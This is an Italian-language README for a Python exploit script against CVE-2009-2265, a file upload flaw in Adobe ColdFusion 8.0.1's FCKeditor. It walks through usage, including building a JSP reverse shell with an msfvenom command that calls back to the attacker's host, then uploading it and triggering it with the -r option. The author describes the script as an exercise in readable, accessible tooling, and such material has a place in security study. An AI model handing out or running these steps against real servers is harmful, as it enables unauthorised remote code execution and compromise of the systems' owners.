
cf8-upload.py | CVE-2009-2265
uno script python3 per sfruttare la CVE-2009-2265.
lo script sfrutta una vulnerabilità trovata in FCKeditor < 2.6.4.1 che è stata implementata in adobe coldfusion 8.0.1:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
lo script consente all'utente di inviare un file da caricare su un computer target che esegue coldfusion 8.0.1 ed eseguirlo.
pip3 install requests
Dopo aver identificato un target che esegue adobe coldfusion 8.0.1, eseguire con:
chmod +x cf8-upload.py
./cf8-upload.py -h
oppure
python3 cf8-upload.py -h
l'opzione -h o --help mostra come eseguire lo script con alcuni esempi. ci sono due argomenti posizionali e alcuni argomenti opzionali.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
adobe coldfusion utilizza la porta 8500 di default, ma il percorso completo del server deve essere specificato quando si esegue lo script.
un'installazione predefinita di coldfusion potrebbe benissimo risiedere nella directory root sulla porta 8500, nel qual caso x.x.x.x:8500 molto probabilmente basterà per l'argomento address quando si esegue lo script.
cf8-upload.py di default stampa a colori e con una formattazione aggiuntiva sull'output del terminale, tuttavia questo non è sempre utile per coloro che usano screen reader. usare l'argomento --accessible disabiliterà la formattazione elaborata e il colore dall'essere stampati sul terminale. disabiliterà anche l'ascii art.
questo flag fa sì che lo script esegua una richiesta GET al file, e solo dopo che è stato caricato con successo. questa opzione è utile se l'utente sta caricando una reverse shell di qualche tipo sull'applicazione vulnerabile e desidera attivarla immediatamente. il contenuto della richiesta GET non viene stampato sul terminale e serve solo a innescare l'evento sul server.
adobe coldfusion è in grado di leggere file .jsp, quindi una reverse shell può essere creata in msfvenom con qualcosa di semplice come:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
e caricata:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
l'applicazione adobe coldfusion 8.0.1 potrebbe non avere la capacità di sovrascrivere file esistenti che vengono caricati con lo script exploit. in tal caso, caricare un file diverso con lo stesso nome di un file caricato in precedenza può causare timeout durante il processo di caricamento.
potrebbe essere necessario rinominare il file che si desidera caricare con un altro nome prima di tentare di ricaricarlo.
lo script è stato principalmente un esercizio per creare un programma breve, completo e autonomo per un singolo exploit, pensando sia alla leggibilità che all'accessibilità.
https://skerritt.blog/a11y/ - implementazione dell'accessibilità.